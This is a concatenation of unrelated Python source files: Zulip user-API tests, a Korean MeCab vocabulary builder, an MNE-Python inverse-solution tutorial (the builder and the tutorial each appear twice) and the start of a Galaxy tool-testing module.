{"include_custom_profile_fields": "true"} ).content ) self.assertIn("profile_data", result["user"]) result = self.client_get("/json/users/30") self.assert_json_error(result, "No such user") bot = self.example_user("default_bot") result = orjson.loads(self.client_get(f"/json/users/{bot.id}").content) self.assertEqual(result["user"]["email"], bot.email) self.assertTrue(result["user"]["is_bot"]) def test_get_user_by_email(self) -> None: user = self.example_user("hamlet") self.login("hamlet") result = orjson.loads(self.client_get(f"/json/users/{user.email}").content) self.assertEqual(result["user"]["email"], user.email) self.assertEqual(result["user"]["full_name"], user.full_name) self.assertIn("user_id", result["user"]) self.assertNotIn("profile_data", result["user"]) self.assertFalse(result["user"]["is_bot"]) self.assertFalse(result["user"]["is_admin"]) self.assertFalse(result["user"]["is_owner"]) result = orjson.loads( self.client_get( f"/json/users/{user.email}", {"include_custom_profile_fields": "true"} ).content ) self.assertIn("profile_data", result["user"]) result = self.client_get("/json/users/invalid") self.assert_json_error(result, "No such user") bot = self.example_user("default_bot") result = orjson.loads(self.client_get(f"/json/users/{bot.email}").content) self.assertEqual(result["user"]["email"], bot.email) self.assertTrue(result["user"]["is_bot"]) def test_get_all_profiles_avatar_urls(self) -> None: hamlet = self.example_user("hamlet") result = self.api_get(hamlet, "/api/v1/users") self.assert_json_success(result) (my_user,) = (user for user in result.json()["members"] if user["email"] == hamlet.email) self.assertEqual( my_user["avatar_url"], avatar_url(hamlet), ) def test_user_email_according_to_email_address_visibility_setting(self) -> None: hamlet = self.example_user("hamlet") realm = hamlet.realm do_set_realm_property( realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_NOBODY, acting_user=None, ) # Check that even admin cannot access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_NOBODY. self.login("iago") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") do_set_realm_property( realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_ADMINS, acting_user=None, ) # Check that admin can access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_ADMINS. result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), hamlet.delivery_email) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") # Check that moderator cannot access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_ADMINS. self.login("shiva") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") do_set_realm_property( realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_MODERATORS, acting_user=None, ) # Check that moderator can access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_MODERATORS. result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), hamlet.delivery_email) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") # Check that normal user cannot access email when setting is set to # EMAIL_ADDRESS_VISIBILITY_MODERATORS. self.login("cordelia") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), f"user{hamlet.id}@zulip.testserver") do_set_realm_property( realm, "email_address_visibility", Realm.EMAIL_ADDRESS_VISIBILITY_EVERYONE, acting_user=None, ) # Check that moderator, member and guest all can access email when setting # is set to EMAIL_ADDRESS_VISIBILITY_EVERYONE. self.login("shiva") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), hamlet.delivery_email) self.login("cordelia") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), hamlet.delivery_email) self.login("polonius") result = orjson.loads(self.client_get(f"/json/users/{hamlet.id}").content) self.assertEqual(result["user"].get("delivery_email"), None) self.assertEqual(result["user"].get("email"), hamlet.delivery_email) class DeleteUserTest(ZulipTestCase): def test_do_delete_user(self) -> None: realm = get_realm("zulip") cordelia = self.example_user("cordelia") othello = self.example_user("othello") hamlet = self.example_user("hamlet") hamlet_personal_recipient = hamlet.recipient hamlet_user_id = hamlet.id hamlet_date_joined = hamlet.date_joined self.send_personal_message(cordelia, hamlet) self.send_personal_message(hamlet, cordelia) personal_message_ids_to_hamlet = Message.objects.filter( recipient=hamlet_personal_recipient ).values_list("id", flat=True) self.assertGreater(len(personal_message_ids_to_hamlet), 0) self.assertTrue(Message.objects.filter(sender=hamlet).exists()) huddle_message_ids_from_cordelia = [ self.send_huddle_message(cordelia, [hamlet, othello]) for i in range(3) ] huddle_message_ids_from_hamlet = [ self.send_huddle_message(hamlet, [cordelia, othello]) for i in range(3) ] huddle_with_hamlet_recipient_ids = list( Subscription.objects.filter( user_profile=hamlet, recipient__type=Recipient.HUDDLE ).values_list("recipient_id", flat=True) ) self.assertGreater(len(huddle_with_hamlet_recipient_ids), 0) do_delete_user(hamlet, acting_user=None) replacement_dummy_user = UserProfile.objects.get(id=hamlet_user_id, realm=realm) self.assertEqual( replacement_dummy_user.delivery_email, f"deleteduser{hamlet_user_id}@zulip.testserver" ) self.assertEqual(replacement_dummy_user.is_mirror_dummy, True) self.assertEqual(replacement_dummy_user.is_active, False) self.assertEqual(replacement_dummy_user.date_joined, hamlet_date_joined) self.assertEqual(Message.objects.filter(id__in=personal_message_ids_to_hamlet).count(), 0) # Huddle messages from hamlet should have been deleted, but messages of other participants should # be kept. self.assertEqual(Message.objects.filter(id__in=huddle_message_ids_from_hamlet).count(), 0) self.assertEqual(Message.objects.filter(id__in=huddle_message_ids_from_cordelia).count(), 3) self.assertEqual(Message.objects.filter(sender_id=hamlet_user_id).count(), 0) # Verify that the dummy user is subscribed to the deleted user's huddles, to keep huddle data # in a correct state. for recipient_id in huddle_with_hamlet_recipient_ids: self.assertTrue( Subscription.objects.filter( user_profile=replacement_dummy_user, recipient_id=recipient_id ).exists() ) class FakeEmailDomainTest(ZulipTestCase): def test_get_fake_email_domain(self) -> None: realm = get_realm("zulip") self.assertEqual("zulip.testserver", get_fake_email_domain(realm)) with self.settings(EXTERNAL_HOST="example.com"): self.assertEqual("zulip.example.com", get_fake_email_domain(realm)) @override_settings(FAKE_EMAIL_DOMAIN="fakedomain.com", REALM_HOSTS={"zulip": "127.0.0.1"}) def test_get_fake_email_domain_realm_host_is_ip_addr(self) -> None: realm = get_realm("zulip") self.assertEqual("fakedomain.com", get_fake_email_domain(realm)) @override_settings(FAKE_EMAIL_DOMAIN="invaliddomain", REALM_HOSTS={"zulip": "127.0.0.1"}) def test_invalid_fake_email_domain(self) -> None: realm = get_realm("zulip") with self.assertRaises(InvalidFakeEmailDomain): get_fake_email_domain(realm) @override_settings(FAKE_EMAIL_DOMAIN="127.0.0.1", REALM_HOSTS={"zulip": "127.0.0.1"}) def test_invalid_fake_email_domain_ip(self) -> None: with self.assertRaises(InvalidFakeEmailDomain): realm = get_realm("zulip") get_fake_email_domain(realm)
import argparse import json import os import time from collections import Counter from functools import partial from itertools import chain from multiprocessing import Pool from typing import List import MeCab INPUT_CORPUS = "./dataset/wiki/sample_ko-wiki-200420.txt" OUTPUT_DIR = "./resources" TOKENIZER = MeCab.Tagger(f"--dicdir /usr/local/lib/mecab/dic/mecab-ko-dic") def tokenize(text: str, space_symbol: str = "▃") -> List[str]: text = text.strip() text_ptr = 0 tokenized = [] for mor in TOKENIZER.parse(text).split("\n"): if "\t" in mor: splitted = mor.split("\t") token = splitted[0] # pos = splitted[1].split(",", 1)[0] if text[text_ptr] == " ": while text[text_ptr] == " ": text_ptr += 1 assert text[text_ptr] == token[0] tokenized.append(space_symbol) tokenized.append(token) text_ptr += len(token) return tokenized if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--vocab_size", type=int, required=True) parser.add_argument("--space_symbol", type=str, default="▃") parser.add_argument("--pad_piece", type=str, default="[PAD]", help="index=0") parser.add_argument("--unk_piece", type=str, default="[UNK]", help="index=1") parser.add_argument("--bos_piece", type=str, default="[BOS]", help="index=2") parser.add_argument("--eos_piece", type=str, default="[EOS]", help="index=3") parser.add_argument( "--special_symbols", type=str, default="[CLS],[SEP],[MASK]", help="Special tokens. You can pass a comma-separated list of special tokens.", ) parser.add_argument("--n_jobs", type=int, default=20) args = vars(parser.parse_args()) print(args) output_dir = os.path.join(OUTPUT_DIR, f"mecab-{args["vocab_size"]//1000}k") os.makedirs(output_dir, exist_ok=True) # save arguments info output_info_path = os.path.join(output_dir, "build_info.json") with open(output_info_path, "w", encoding="utf-8") as f: json.dump(args, f, indent=4) # set tokenizing func tokenize_fn = partial(tokenize, space_symbol=args["space_symbol"]) counter = Counter() start_time = time.time() print(f"start tokenization ...") with open(INPUT_CORPUS, "r", encoding="utf-8") as f: with Pool(args["n_jobs"]) as p: tokenized = p.map(tokenize_fn, f) counter.update(chain.from_iterable(tokenized)) elapsed_time = time.strftime("%H:%M:%S", time.gmtime(time.time() - start_time)) print(f"complete tokenization for all files. (elapsed time: {elapsed_time})") # special tokens special_tokens = [args["pad_piece"], args["unk_piece"], args["bos_piece"], args["eos_piece"]] special_tokens.extend(args["special_symbols"].split(",")) # slice with vocab size vocab = counter.most_common(args["vocab_size"] - len(special_tokens)) # print out-of-vocabulary total_freq = sum(counter.values()) oov_freq = total_freq - sum([v[1] for v in vocab]) print(f"oov: {oov_freq}/{total_freq} ({oov_freq * 100.0 / total_freq:.2f}%)") # save mecab vocab print("write mecab vocab file...") output_vocab_path = os.path.join(output_dir, "tok.vocab") with open(output_vocab_path, "w", encoding="utf-8") as f: for token in special_tokens: f.write(f"{token}\t-1\n") for token, freq in vocab: f.write(f"{token}\t{freq}\n") # mecab config print("write mecab config file...") output_config_path = os.path.join(output_dir, "tok.json") with open(output_config_path, "w", encoding="utf-8") as f: json.dump(args, f, indent=4) # save fairseq vocab print("write fairseq vocab file...") with open(os.path.join(output_dir, "fairseq.vocab"), "w") as fout: with open(os.path.join(output_dir, "tok.vocab"), "r") as fin: start_idx = 4 + len(args["special_symbols"].split(",")) # pad, unk, bos, eos + special_symbols for line in fin.readlines()[start_idx:]: splitted = line.split("\t") fout.write(f"{" ".join(splitted)}") print("done.")
import argparse import json import os import time from collections import Counter from functools import partial from itertools import chain from multiprocessing import Pool from typing import List import MeCab INPUT_CORPUS = "./dataset/wiki/sample_ko-wiki-200420.txt" OUTPUT_DIR = "./resources" TOKENIZER = MeCab.Tagger(f"--dicdir /usr/local/lib/mecab/dic/mecab-ko-dic") def tokenize(text: str, space_symbol: str = "▃") -> List[str]: text = text.strip() text_ptr = 0 tokenized = [] for mor in TOKENIZER.parse(text).split("\n"): if "\t" in mor: splitted = mor.split("\t") token = splitted[0] # pos = splitted[1].split(",", 1)[0] if text[text_ptr] == " ": while text[text_ptr] == " ": text_ptr += 1 assert text[text_ptr] == token[0] tokenized.append(space_symbol) tokenized.append(token) text_ptr += len(token) return tokenized if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--vocab_size", type=int, required=True) parser.add_argument("--space_symbol", type=str, default="▃") parser.add_argument("--pad_piece", type=str, default="[PAD]", help="index=0") parser.add_argument("--unk_piece", type=str, default="[UNK]", help="index=1") parser.add_argument("--bos_piece", type=str, default="[BOS]", help="index=2") parser.add_argument("--eos_piece", type=str, default="[EOS]", help="index=3") parser.add_argument( "--special_symbols", type=str, default="[CLS],[SEP],[MASK]", help="Special tokens. You can pass a comma-separated list of special tokens.", ) parser.add_argument("--n_jobs", type=int, default=20) args = vars(parser.parse_args()) print(args) output_dir = os.path.join(OUTPUT_DIR, f"mecab-{args['vocab_size']//1000}k") os.makedirs(output_dir, exist_ok=True) # save arguments info output_info_path = os.path.join(output_dir, "build_info.json") with open(output_info_path, "w", encoding="utf-8") as f: json.dump(args, f, indent=4) # set tokenizing func tokenize_fn = partial(tokenize, space_symbol=args["space_symbol"]) counter = Counter() start_time = time.time() print(f"start tokenization ...") with open(INPUT_CORPUS, "r", encoding="utf-8") as f: with Pool(args["n_jobs"]) as p: tokenized = p.map(tokenize_fn, f) counter.update(chain.from_iterable(tokenized)) elapsed_time = time.strftime("%H:%M:%S", time.gmtime(time.time() - start_time)) print(f"complete tokenization for all files. (elapsed time: {elapsed_time})") # special tokens special_tokens = [args["pad_piece"], args["unk_piece"], args["bos_piece"], args["eos_piece"]] special_tokens.extend(args["special_symbols"].split(",")) # slice with vocab size vocab = counter.most_common(args["vocab_size"] - len(special_tokens)) # print out-of-vocabulary total_freq = sum(counter.values()) oov_freq = total_freq - sum([v[1] for v in vocab]) print(f"oov: {oov_freq}/{total_freq} ({oov_freq * 100.0 / total_freq:.2f}%)") # save mecab vocab print("write mecab vocab file...") output_vocab_path = os.path.join(output_dir, "tok.vocab") with open(output_vocab_path, "w", encoding="utf-8") as f: for token in special_tokens: f.write(f"{token}\t-1\n") for token, freq in vocab: f.write(f"{token}\t{freq}\n") # mecab config print("write mecab config file...") output_config_path = os.path.join(output_dir, "tok.json") with open(output_config_path, "w", encoding="utf-8") as f: json.dump(args, f, indent=4) # save fairseq vocab print("write fairseq vocab file...") with open(os.path.join(output_dir, "fairseq.vocab"), "w") as fout: with open(os.path.join(output_dir, "tok.vocab"), "r") as fin: start_idx = 4 + len(args["special_symbols"].split(",")) # pad, unk, bos, eos + special_symbols for line in fin.readlines()[start_idx:]: splitted = line.split("\t") fout.write(f"{' '.join(splitted)}") print("done.")
""" ===================================================================== Compute MNE inverse solution on evoked data with a mixed source space ===================================================================== Create a mixed source space and compute an MNE inverse solution on an evoked dataset. """ # Author: Annalisa Pascarella <a.pascarella@iac.cnr.it> # # License: BSD-3-Clause # %% import os.path as op import matplotlib.pyplot as plt from nilearn import plotting import mne from mne.minimum_norm import make_inverse_operator, apply_inverse # Set dir data_path = mne.datasets.sample.data_path() subject = 'sample' data_dir = op.join(data_path, 'MEG', subject) subjects_dir = op.join(data_path, 'subjects') bem_dir = op.join(subjects_dir, subject, 'bem') # Set file names fname_mixed_src = op.join(bem_dir, '%s-oct-6-mixed-src.fif' % subject) fname_aseg = op.join(subjects_dir, subject, 'mri', 'aseg.mgz') fname_model = op.join(bem_dir, '%s-5120-bem.fif' % subject) fname_bem = op.join(bem_dir, '%s-5120-bem-sol.fif' % subject) fname_evoked = data_dir + '/sample_audvis-ave.fif' fname_trans = data_dir + '/sample_audvis_raw-trans.fif' fname_fwd = data_dir + '/sample_audvis-meg-oct-6-mixed-fwd.fif' fname_cov = data_dir + '/sample_audvis-shrunk-cov.fif' # %% # Set up our source space # ----------------------- # List substructures we are interested in. We select only the # sub structures we want to include in the source space: labels_vol = ['Left-Amygdala', 'Left-Thalamus-Proper', 'Left-Cerebellum-Cortex', 'Brain-Stem', 'Right-Amygdala', 'Right-Thalamus-Proper', 'Right-Cerebellum-Cortex'] # %% # Get a surface-based source space, here with few source points for speed # in this demonstration, in general you should use oct6 spacing! src = mne.setup_source_space(subject, spacing='oct5', add_dist=False, subjects_dir=subjects_dir) # %% # Now we create a mixed src space by adding the volume regions specified in the # list labels_vol. First, read the aseg file and the source space bounds # using the inner skull surface (here using 10mm spacing to save time, # we recommend something smaller like 5.0 in actual analyses): vol_src = mne.setup_volume_source_space( subject, mri=fname_aseg, pos=10.0, bem=fname_model, volume_label=labels_vol, subjects_dir=subjects_dir, add_interpolator=False, # just for speed, usually this should be True verbose=True) # Generate the mixed source space src += vol_src print(f"The source space contains {len(src)} spaces and " f"{sum(s["nuse"] for s in src)} vertices") # %% # View the source space # --------------------- src.plot(subjects_dir=subjects_dir) # %% # We could write the mixed source space with:: # # >>> write_source_spaces(fname_mixed_src, src, overwrite=True) # # We can also export source positions to NIfTI file and visualize it again: nii_fname = op.join(bem_dir, '%s-mixed-src.nii' % subject) src.export_volume(nii_fname, mri_resolution=True, overwrite=True) plotting.plot_img(nii_fname, cmap='nipy_spectral') # %% # Compute the fwd matrix # ---------------------- fwd = mne.make_forward_solution( fname_evoked, fname_trans, src, fname_bem, mindist=5.0, # ignore sources<=5mm from innerskull meg=True, eeg=False, n_jobs=1) del src # save memory leadfield = fwd['sol']['data'] print("Leadfield size : %d sensors x %d dipoles" % leadfield.shape) print(f"The fwd source space contains {len(fwd["src"])} spaces and " f"{sum(s["nuse"] for s in fwd["src"])} vertices") # Load data condition = 'Left Auditory' evoked = mne.read_evokeds(fname_evoked, condition=condition, baseline=(None, 0)) noise_cov = mne.read_cov(fname_cov) # %% # Compute inverse solution # ------------------------ snr = 3.0 # use smaller SNR for raw data inv_method = 'dSPM' # sLORETA, MNE, dSPM parc = 'aparc' # the parcellation to use, e.g., 'aparc' 'aparc.a2009s' loose = dict(surface=0.2, volume=1.) lambda2 = 1.0 / snr ** 2 inverse_operator = make_inverse_operator( evoked.info, fwd, noise_cov, depth=None, loose=loose, verbose=True) del fwd stc = apply_inverse(evoked, inverse_operator, lambda2, inv_method, pick_ori=None) src = inverse_operator['src'] # %% # Plot the mixed source estimate # ------------------------------ # sphinx_gallery_thumbnail_number = 3 initial_time = 0.1 stc_vec = apply_inverse(evoked, inverse_operator, lambda2, inv_method, pick_ori='vector') brain = stc_vec.plot( hemi='both', src=inverse_operator['src'], views='coronal', initial_time=initial_time, subjects_dir=subjects_dir, brain_kwargs=dict(silhouette=True)) # %% # Plot the surface # ---------------- brain = stc.surface().plot(initial_time=initial_time, subjects_dir=subjects_dir) # %% # Plot the volume # --------------- fig = stc.volume().plot(initial_time=initial_time, src=src, subjects_dir=subjects_dir) # %% # Process labels # -------------- # Average the source estimates within each label of the cortical parcellation # and each sub structure contained in the src space # Get labels for FreeSurfer 'aparc' cortical parcellation with 34 labels/hemi labels_parc = mne.read_labels_from_annot( subject, parc=parc, subjects_dir=subjects_dir) label_ts = mne.extract_label_time_course( [stc], labels_parc, src, mode='mean', allow_empty=True) # plot the times series of 2 labels fig, axes = plt.subplots(1) axes.plot(1e3 * stc.times, label_ts[0][0, :], 'k', label='bankssts-lh') axes.plot(1e3 * stc.times, label_ts[0][-1, :].T, 'r', label='Brain-stem') axes.set(xlabel='Time (ms)', ylabel='MNE current (nAm)') axes.legend() mne.viz.tight_layout()
""" ===================================================================== Compute MNE inverse solution on evoked data with a mixed source space ===================================================================== Create a mixed source space and compute an MNE inverse solution on an evoked dataset. """ # Author: Annalisa Pascarella <a.pascarella@iac.cnr.it> # # License: BSD-3-Clause # %% import os.path as op import matplotlib.pyplot as plt from nilearn import plotting import mne from mne.minimum_norm import make_inverse_operator, apply_inverse # Set dir data_path = mne.datasets.sample.data_path() subject = 'sample' data_dir = op.join(data_path, 'MEG', subject) subjects_dir = op.join(data_path, 'subjects') bem_dir = op.join(subjects_dir, subject, 'bem') # Set file names fname_mixed_src = op.join(bem_dir, '%s-oct-6-mixed-src.fif' % subject) fname_aseg = op.join(subjects_dir, subject, 'mri', 'aseg.mgz') fname_model = op.join(bem_dir, '%s-5120-bem.fif' % subject) fname_bem = op.join(bem_dir, '%s-5120-bem-sol.fif' % subject) fname_evoked = data_dir + '/sample_audvis-ave.fif' fname_trans = data_dir + '/sample_audvis_raw-trans.fif' fname_fwd = data_dir + '/sample_audvis-meg-oct-6-mixed-fwd.fif' fname_cov = data_dir + '/sample_audvis-shrunk-cov.fif' # %% # Set up our source space # ----------------------- # List substructures we are interested in. We select only the # sub structures we want to include in the source space: labels_vol = ['Left-Amygdala', 'Left-Thalamus-Proper', 'Left-Cerebellum-Cortex', 'Brain-Stem', 'Right-Amygdala', 'Right-Thalamus-Proper', 'Right-Cerebellum-Cortex'] # %% # Get a surface-based source space, here with few source points for speed # in this demonstration, in general you should use oct6 spacing! src = mne.setup_source_space(subject, spacing='oct5', add_dist=False, subjects_dir=subjects_dir) # %% # Now we create a mixed src space by adding the volume regions specified in the # list labels_vol. First, read the aseg file and the source space bounds # using the inner skull surface (here using 10mm spacing to save time, # we recommend something smaller like 5.0 in actual analyses): vol_src = mne.setup_volume_source_space( subject, mri=fname_aseg, pos=10.0, bem=fname_model, volume_label=labels_vol, subjects_dir=subjects_dir, add_interpolator=False, # just for speed, usually this should be True verbose=True) # Generate the mixed source space src += vol_src print(f"The source space contains {len(src)} spaces and " f"{sum(s['nuse'] for s in src)} vertices") # %% # View the source space # --------------------- src.plot(subjects_dir=subjects_dir) # %% # We could write the mixed source space with:: # # >>> write_source_spaces(fname_mixed_src, src, overwrite=True) # # We can also export source positions to NIfTI file and visualize it again: nii_fname = op.join(bem_dir, '%s-mixed-src.nii' % subject) src.export_volume(nii_fname, mri_resolution=True, overwrite=True) plotting.plot_img(nii_fname, cmap='nipy_spectral') # %% # Compute the fwd matrix # ---------------------- fwd = mne.make_forward_solution( fname_evoked, fname_trans, src, fname_bem, mindist=5.0, # ignore sources<=5mm from innerskull meg=True, eeg=False, n_jobs=1) del src # save memory leadfield = fwd['sol']['data'] print("Leadfield size : %d sensors x %d dipoles" % leadfield.shape) print(f"The fwd source space contains {len(fwd['src'])} spaces and " f"{sum(s['nuse'] for s in fwd['src'])} vertices") # Load data condition = 'Left Auditory' evoked = mne.read_evokeds(fname_evoked, condition=condition, baseline=(None, 0)) noise_cov = mne.read_cov(fname_cov) # %% # Compute inverse solution # ------------------------ snr = 3.0 # use smaller SNR for raw data inv_method = 'dSPM' # sLORETA, MNE, dSPM parc = 'aparc' # the parcellation to use, e.g., 'aparc' 'aparc.a2009s' loose = dict(surface=0.2, volume=1.) lambda2 = 1.0 / snr ** 2 inverse_operator = make_inverse_operator( evoked.info, fwd, noise_cov, depth=None, loose=loose, verbose=True) del fwd stc = apply_inverse(evoked, inverse_operator, lambda2, inv_method, pick_ori=None) src = inverse_operator['src'] # %% # Plot the mixed source estimate # ------------------------------ # sphinx_gallery_thumbnail_number = 3 initial_time = 0.1 stc_vec = apply_inverse(evoked, inverse_operator, lambda2, inv_method, pick_ori='vector') brain = stc_vec.plot( hemi='both', src=inverse_operator['src'], views='coronal', initial_time=initial_time, subjects_dir=subjects_dir, brain_kwargs=dict(silhouette=True)) # %% # Plot the surface # ---------------- brain = stc.surface().plot(initial_time=initial_time, subjects_dir=subjects_dir) # %% # Plot the volume # --------------- fig = stc.volume().plot(initial_time=initial_time, src=src, subjects_dir=subjects_dir) # %% # Process labels # -------------- # Average the source estimates within each label of the cortical parcellation # and each sub structure contained in the src space # Get labels for FreeSurfer 'aparc' cortical parcellation with 34 labels/hemi labels_parc = mne.read_labels_from_annot( subject, parc=parc, subjects_dir=subjects_dir) label_ts = mne.extract_label_time_course( [stc], labels_parc, src, mode='mean', allow_empty=True) # plot the times series of 2 labels fig, axes = plt.subplots(1) axes.plot(1e3 * stc.times, label_ts[0][0, :], 'k', label='bankssts-lh') axes.plot(1e3 * stc.times, label_ts[0][-1, :].T, 'r', label='Brain-stem') axes.set(xlabel='Time (ms)', ylabel='MNE current (nAm)') axes.legend() mne.viz.tight_layout()
import io import json import os import re import shutil import sys import tarfile import tempfile import time import urllib.parse import zipfile from json import dumps from logging import getLogger import requests from packaging.version import parse as parse_version, Version try: from nose.tools import nottest except ImportError: def nottest(x): return x from galaxy import util from galaxy.tool_util.parser.interface import TestCollectionDef, TestCollectionOutputDef from galaxy.util.bunch import Bunch from . import verify from .asserts import verify_assertions from .wait import wait_on log = getLogger(__name__) # Off by default because it can pound the database pretty heavily # and result in sqlite errors on larger tests or larger numbers of # tests. VERBOSE_ERRORS = util.asbool(os.environ.get("GALAXY_TEST_VERBOSE_ERRORS", False)) UPLOAD_ASYNC = util.asbool(os.environ.get("GALAXY_TEST_UPLOAD_ASYNC", True)) ERROR_MESSAGE_DATASET_SEP = "--------------------------------------" DEFAULT_TOOL_TEST_WAIT = int(os.environ.get("GALAXY_TEST_DEFAULT_WAIT", 86400)) DEFAULT_FTYPE = 'auto' # This following default dbkey was traditionally hg17 before Galaxy 18.05, # restore this behavior by setting GALAXY_TEST_DEFAULT_DBKEY to hg17. DEFAULT_DBKEY = os.environ.get("GALAXY_TEST_DEFAULT_DBKEY", "?") class OutputsDict(dict): """Ordered dict that can also be accessed by index. >>> out = OutputsDict() >>> out['item1'] = 1 >>> out['item2'] = 2 >>> out[1] == 2 == out['item2'] True """ def __getitem__(self, item): if isinstance(item, int): return self[list(self.keys())[item]] else: return super().__getitem__(item) def stage_data_in_history(galaxy_interactor, tool_id, all_test_data, history=None, force_path_paste=False, maxseconds=DEFAULT_TOOL_TEST_WAIT, tool_version=None): # Upload any needed files upload_waits = [] assert tool_id if UPLOAD_ASYNC: for test_data in all_test_data: upload_waits.append(galaxy_interactor.stage_data_async(test_data, history, tool_id, force_path_paste=force_path_paste, maxseconds=maxseconds, tool_version=tool_version)) for upload_wait in upload_waits: upload_wait() else: for test_data in all_test_data: upload_wait = galaxy_interactor.stage_data_async(test_data, history, tool_id, force_path_paste=force_path_paste, maxseconds=maxseconds, tool_version=tool_version) upload_wait() class GalaxyInteractorApi: def __init__(self, **kwds): self.api_url = f"{kwds["galaxy_url"].rstrip("/")}/api" self.cookies = None self.master_api_key = kwds["master_api_key"] self.api_key = self.__get_user_key(kwds.get("api_key"), kwds.get("master_api_key"), test_user=kwds.get("test_user")) if kwds.get('user_api_key_is_admin_key', False): self.master_api_key = self.api_key self.keep_outputs_dir = kwds["keep_outputs_dir"] self.download_attempts = kwds.get("download_attempts", 1) self.download_sleep = kwds.get("download_sleep", 1) # Local test data directories. self.test_data_directories = kwds.get("test_data") or [] self._target_galaxy_version = None self.uploads = {} @property def target_galaxy_version(self): if self._target_galaxy_version is None: self._target_galaxy_version = parse_version(self._get('version').json()['version_major']) return self._target_galaxy_version @property def supports_test_data_download(self): return self.target_galaxy_version >= Version("19.01") def __get_user_key(self, user_key, admin_key, test_user=None): if not test_user: test_user = "test@bx.psu.edu" if user_key: return user_key test_user = self.ensure_user_with_email(test_user) return self._post(f"users/{test_user["id"]}/api_key", key=admin_key).json() # def get_tools(self): # response = self._get("tools?in_panel=false") # assert response.status_code == 200, "Non 200 response from tool index API. [%s]" % response.content # return response.json() def get_tests_summary(self): response = self._get("tools/tests_summary") assert response.status_code == 200, f"Non 200 response from tool tests available API. [{response.content}]" return response.json() def get_tool_tests(self, tool_id, tool_version=None): url = f"tools/{tool_id}/test_data" params = {'tool_version': tool_version} if tool_version else None response = self._get(url, data=params) assert response.status_code == 200, f"Non 200 response from tool test API. [{response.content}]" return response.json() def verify_output_collection(self, output_collection_def, output_collection_id, history, tool_id, tool_version=None): data_collection = self._get(f"dataset_collections/{output_collection_id}", data={"instance_type": "history"}).json() def verify_dataset(element, element_attrib, element_outfile): hda = element["object"] try: self.verify_output_dataset( history, hda_id=hda["id"], outfile=element_outfile, attributes=element_attrib, tool_id=tool_id, tool_version=tool_version, ) except AssertionError as e: raise AssertionError(f"Collection element {element.get("element_identifier", "")} of collection {output_collection_def.name}: {e}") verify_collection(output_collection_def, data_collection, verify_dataset) def verify_output(self, history_id, jobs, output_data, output_testdef, tool_id, maxseconds, tool_version=None): outfile = output_testdef.outfile attributes = output_testdef.attributes name = output_testdef.name self.wait_for_jobs(history_id, jobs, maxseconds) hid = self.__output_id(output_data) # TODO: Twill version verifies dataset is 'ok' in here. try: self.verify_output_dataset(history_id=history_id, hda_id=hid, outfile=outfile, attributes=attributes, tool_id=tool_id, tool_version=tool_version) except AssertionError as e: raise AssertionError(f"Output {name}: {str(e)}") primary_datasets = attributes.get('primary_datasets', {}) if primary_datasets: job_id = self._dataset_provenance(history_id, hid)["job_id"] outputs = self._get(f"jobs/{job_id}/outputs").json() for designation, (primary_outfile, primary_attributes) in primary_datasets.items(): primary_output = None for output in outputs: if output["name"] == f'__new_primary_file_{name}|{designation}__': primary_output = output break if not primary_output: raise Exception(f"Failed to find primary dataset with designation [{designation}] for output with name [{name}]") primary_hda_id = primary_output["dataset"]["id"] try: self.verify_output_dataset(history_id, primary_hda_id, primary_outfile, primary_attributes, tool_id=tool_id, tool_version=tool_version) except AssertionError as e: raise AssertionError(f"Primary output {name}: {str(e)}") def wait_for_jobs(self, history_id, jobs, maxseconds): for job in jobs: self.wait_for_job(job['id'], history_id, maxseconds) def verify_output_dataset(self, history_id, hda_id, outfile, attributes, tool_id, tool_version=None): fetcher = self.__dataset_fetcher(history_id) test_data_downloader = self.__test_data_downloader(tool_id, tool_version) verify_hid( outfile, hda_id=hda_id, attributes=attributes, dataset_fetcher=fetcher, test_data_downloader=test_data_downloader, keep_outputs_dir=self.keep_outputs_dir ) self._verify_metadata(history_id, hda_id, attributes) def _verify_metadata(self, history_id, hid, attributes): """Check dataset metadata. ftype on output maps to `file_ext` on the hda's API description, `name`, `info`, `dbkey` and `tags` all map to the API description directly. Other metadata attributes are assumed to be datatype-specific and mapped with a prefix of `metadata_`. """ metadata = attributes.get('metadata', {}).copy() for key in metadata.copy().keys(): if key not in ['name', 'info', 'tags', 'created_from_basename']: new_key = f"metadata_{key}" metadata[new_key] = metadata[key] del metadata[key] elif key == "info": metadata["misc_info"] = metadata["info"] del metadata["info"] expected_file_type = attributes.get('ftype', None) if expected_file_type: metadata["file_ext"] = expected_file_type if metadata: def wait_for_content(): response = self._get(f"histories/{history_id}/contents/{hid}") try: response.raise_for_status() return response.json() except requests.exceptions.HTTPError: return None dataset = wait_on(wait_for_content, desc='dataset metadata', timeout=10) for key, value in metadata.items(): try: dataset_value = dataset.get(key, None) def compare(val, expected): if str(val) != str(expected): msg = f"Dataset metadata verification for [{key}] failed, expected [{value}] but found [{dataset_value}]. Dataset API value was [{dataset}]." raise Exception(msg) if isinstance(dataset_value, list): value = str(value).split(",") if len(value) != len(dataset_value): msg = f"Dataset metadata verification for [{key}] 